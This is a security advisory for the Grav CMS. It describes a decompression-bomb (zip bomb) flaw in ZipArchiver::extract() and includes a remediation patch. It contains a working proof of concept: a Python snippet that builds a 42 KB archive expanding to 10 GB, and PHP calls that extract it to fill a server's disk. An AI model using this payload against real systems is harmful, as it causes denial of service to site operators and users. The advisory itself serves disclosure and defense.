GHSA-928x-9mpw-8h56

Source

https://github.com/advisories/GHSA-928x-9mpw-8h56

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-928x-9mpw-8h56/GHSA-928x-9mpw-8h56.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-928x-9mpw-8h56

Aliases

Published

2026-09-02T21:35:43Z

Modified

2026-09-02T21:45:10Z

Severity

6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVSS Calculator

Summary

Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

Details

Summary

ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.

Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Only guards against Zip Slip (path traversal)
        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name !== false && !$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }
        }

        // Extracts EVERYTHING — no size, count, or depth limit
        if (!$zip->extractTo($destination)) { ... }

        $zip->close();
        return $this;
    }
}

What's missing vs Installer::unZip():

Protection	`Installer::unZip()`	`ZipArchiver::extract()`
Zip Slip guard	✅	✅
Max uncompressed size	✅ (1 GiB)	❌
Max file count	✅ (50000)	❌
Max nesting depth	✅ (48)	❌
Pre-extraction validation	✅ All entries validated first	❌ Extracts immediately

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) {
    $entryName = $zip->getNameIndex($i);
    // Check size, count, and depth BEFORE extracting anything
    if ($limits['maxSize'] > 0) { $size += $entry['size']; }
    if ($limits['maxDepth'] > 0) { ... }
    if ($limits['maxFiles'] > 0) { $count++; }
    // Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.

Proof of Concept

Step 1 - Create a zip bomb

# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024)  # 1 GB of zeros
for i in range(10):
    z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip  →  expands to 10 GB

Step 2 - Extract via ZipArchiver

$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted');  // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).

Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.

Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Apply the same archive limits as Installer::unZip()
        $limits = $this->archiveLimits();
        $totalSize = 0;
        $totalFiles = 0;

        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name === false) continue;

            // Zip Slip guard (existing)
            if (!$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }

            // Decompression bomb guards (NEW)
            $stat = $zip->statIndex($i);
            $totalSize += $stat['size'] ?? 0;
            $totalFiles++;

            $depth = count(explode('/', trim($name, '/')));
            if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
                $zip->close();
                throw new RuntimeException('Archive exceeds max nesting depth');
            }
        }

        if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max uncompressed size');
        }
        if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max file count');
        }

        if (!$zip->extractTo($destination)) { ... }
        $zip->close();
        return $this;
    }
}

Database specific

{
    "cwe_ids": [
        "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T21:35:43Z",
    "nvd_published_at": "2026-08-19T16:18:16Z",
    "severity": "MODERATE"
}

References

Affected packages

Packagist / getgrav/grav

Package

Name: getgrav/grav
Purl: pkg:composer/getgrav/grav

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

2.0.1

Affected versions

0.*

0.8.0

0.9.0

0.9.1

0.9.2

0.9.3

0.9.4

0.9.5

0.9.6

0.9.7

0.9.8

0.9.9

0.9.10

0.9.11

0.9.12

0.9.13

0.9.14

0.9.15

0.9.16

0.9.17

0.9.18

0.9.19

0.9.20

0.9.21

0.9.22

0.9.23

0.9.24

0.9.25

0.9.26

0.9.27

0.9.28

0.9.29

0.9.30

0.9.31

0.9.32

0.9.33

0.9.34

0.9.35

0.9.36

0.9.37

0.9.38

0.9.39

0.9.40

0.9.41

0.9.42

0.9.43

0.9.44

0.9.45

1.*

1.0.0-rc.1

1.0.0-rc.2

1.0.0-rc.3

1.0.0-rc.4

1.0.0-rc.5

1.0.0-rc.6

1.0.0

1.0.1

1.0.2

1.0.3

1.0.4

1.0.5

1.0.6

1.0.7

1.0.8

1.0.9

1.0.10

1.1.0-beta.1

1.1.0-beta.2

1.1.0-beta.3

1.1.0-beta.4

1.1.0-beta.5

1.1.0-rc.1

1.1.0-rc.2

1.1.0-rc.3

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.1.5

1.1.6

1.1.7

1.1.8

1.1.9-rc.1

1.1.9-rc.2

1.1.9-rc.3

1.1.9

1.1.10

1.1.11

1.1.12

1.1.13

1.1.14

1.1.15

1.1.16

1.1.17

1.2.0-rc.1

1.2.0-rc.2

1.2.0-rc.3

1.2.0

1.2.1

1.2.2

1.2.3

1.2.4

1.3.0-rc.1

1.3.0-rc.2

1.3.0-rc.3

1.3.0-rc.4

1.3.0-rc.5

1.3.0

1.3.1

1.3.2

1.3.3

1.3.4

1.3.5

1.3.6

1.3.7

1.3.8

1.3.9

1.3.10

1.4.0-beta.1

1.4.0-beta.2

1.4.0-beta.3

1.4.0-rc.1

1.4.0-rc.2

1.4.0

1.4.1

1.4.2

1.4.3

1.4.4

1.4.5

1.4.6

1.4.7

1.4.8

1.5.0-beta.1

1.5.0-beta.2

1.5.0-rc.1

1.5.0

1.5.1

1.5.2

1.5.3

1.5.4

1.5.5

1.5.6

1.5.7

1.5.8

1.5.9

1.5.10

1.6.0-beta.1

1.6.0-beta.2

1.6.0-beta.3

1.6.0-beta.4

1.6.0-beta.5

1.6.0-beta.6

1.6.0-beta.7

1.6.0-beta.8

1.6.0-rc.1

1.6.0-rc.2

1.6.0-rc.3

1.6.0-rc.4

1.6.0

1.6.1

1.6.2

1.6.3

1.6.4

1.6.5

1.6.6

1.6.7

1.6.8

1.6.9

1.6.10

1.6.11

1.6.12

1.6.13

1.6.14

1.6.15

1.6.16

1.6.17

1.6.18

1.6.19

1.6.20

1.6.21

1.6.22

1.6.23

1.6.24

1.6.25

1.6.26

1.6.27

1.6.28

1.6.29

1.6.30

1.6.31

1.7.0-beta.1

1.7.0-beta.2

1.7.0-beta.3

1.7.0-beta.4

1.7.0-beta.5

1.7.0-beta.6

1.7.0-beta.7

1.7.0-beta.8

1.7.0-beta.9

1.7.0-beta.10

1.7.0-rc.1

1.7.0-rc.2

1.7.0-rc.3

1.7.0-rc.4

1.7.0-rc.5

1.7.0-rc.6

1.7.0-rc.7

1.7.0-rc.8

1.7.0-rc.9

1.7.0-rc.10

1.7.0-rc.11

1.7.0-rc.12

1.7.0-rc.13

1.7.0-rc.14

1.7.0-rc.15

1.7.0-rc.16

1.7.0-rc.17

1.7.0-rc.18

1.7.0-rc.19

1.7.0-rc.20

1.7.0

1.7.1

1.7.3

1.7.4

1.7.5

1.7.6

1.7.7

1.7.8

1.7.9

1.7.10

1.7.12

1.7.13

1.7.14

1.7.15

1.7.16

1.7.17

1.7.18

1.7.19

1.7.20

1.7.21

1.7.22

1.7.23

1.7.24

1.7.25

1.7.26

1.7.26.1

1.7.27

1.7.27.1

1.7.28

1.7.29

1.7.29.1

1.7.30

1.7.31

1.7.32

1.7.33

1.7.34

1.7.35

1.7.36

1.7.37

1.7.37.1

1.7.38

1.7.39

1.7.39.1

1.7.39.2

1.7.39.3

1.7.39.4

1.7.40

1.7.41

1.7.41.1

1.7.41.2

1.7.42

1.7.42.1

1.7.42.2

1.7.42.3

1.7.43

1.7.44

1.7.45

1.7.46

1.7.47

1.7.48

1.7.49

1.7.49.1

1.7.49.2

1.7.49.3

1.7.49.4

1.7.49.5

1.7.51

1.7.52

1.7.53

1.7.53.1

1.7.53.2

1.7.53.3

1.8.0-beta.1

1.8.0-beta.2

1.8.0-beta.3

1.8.0-beta.4

1.8.0-beta.5

1.8.0-beta.6

1.8.0-beta.7

1.8.0-beta.8

1.8.0-beta.9

1.8.0-beta.10

1.8.0-beta.11

1.8.0-beta.12

1.8.0-beta.13

1.8.0-beta.14

1.8.0-beta.15

1.8.0-beta.16

1.8.0-beta.17

1.8.0-beta.18

1.8.0-beta.19

1.8.0-beta.20

1.8.0-beta.21

1.8.0-beta.22

1.8.0-beta.23

1.8.0-beta.24

1.8.0-beta.25

1.8.0-beta.26

1.8.0-beta.27

1.8.0-beta.28

1.8.0-beta.29

2.*

2.0.0-beta.1

2.0.0-beta.2

2.0.0-beta.3

2.0.0-beta.4

2.0.0-rc.1

2.0.0-rc.2

2.0.0-rc.3

2.0.0-rc.4

2.0.0-rc.5

2.0.0-rc.6

2.0.0-rc.7

2.0.0-rc.8

2.0.0-rc.9

2.0.0-rc.10

2.0.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-928x-9mpw-8h56/GHSA-928x-9mpw-8h56.json"